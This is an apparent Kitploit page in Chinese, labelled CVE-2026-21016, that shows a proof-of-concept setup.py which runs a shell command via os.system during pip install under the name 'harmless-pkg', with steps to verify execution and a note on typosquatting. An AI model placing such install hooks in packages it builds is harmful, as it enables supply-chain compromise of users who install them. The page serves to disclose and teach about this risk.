CVE-2026-21016-Malicious-PyPI-Package-Install-Hook-setup.py-Execution- — 演示恶意 Python 包如何通过 setup.py 在 pip install 期间执行任意命令，凸显 PyPI 供应链及 typosquatting（域名抢注）风险。 | Kitploit

CVE-2026-21016 – 恶意 PyPI 包安装钩子（setup.py 执行）

程序代码（Python）

# setup.py - Malicious package that executes during install
from setuptools import setup
import os

# This runs on pip install
os.system('id > /tmp/pwned_by_package')

setup(
    name='harmless-pkg',
    version='1.0',
    packages=[],
)

CVE-2026-21016 – 恶意 PyPI 包安装钩子（setup.py）

概述

PyPI 包可以在其 setup.py 中包含任意代码，这些代码会在 pip install 期间执行。攻击者可以发布一个名称与流行包相似的包（typosquatting，拼写仿冒），安装时有效载荷将以用户权限运行，从而导致远程代码执行。

漏洞详情

类型： 供应链攻击 / 代码执行
影响： 系统沦陷、凭据窃取。
根本原因： Pip 在无沙箱的情况下执行 setup.py，使包拥有完全访问权限。

漏洞利用演示

使用给定的 setup.py 创建恶意包目录。
在本地安装它：
```
pip install ./harmless-pkg
```
检查输出：
```
cat /tmp/pwned_by_package
```

id 命令已被执行。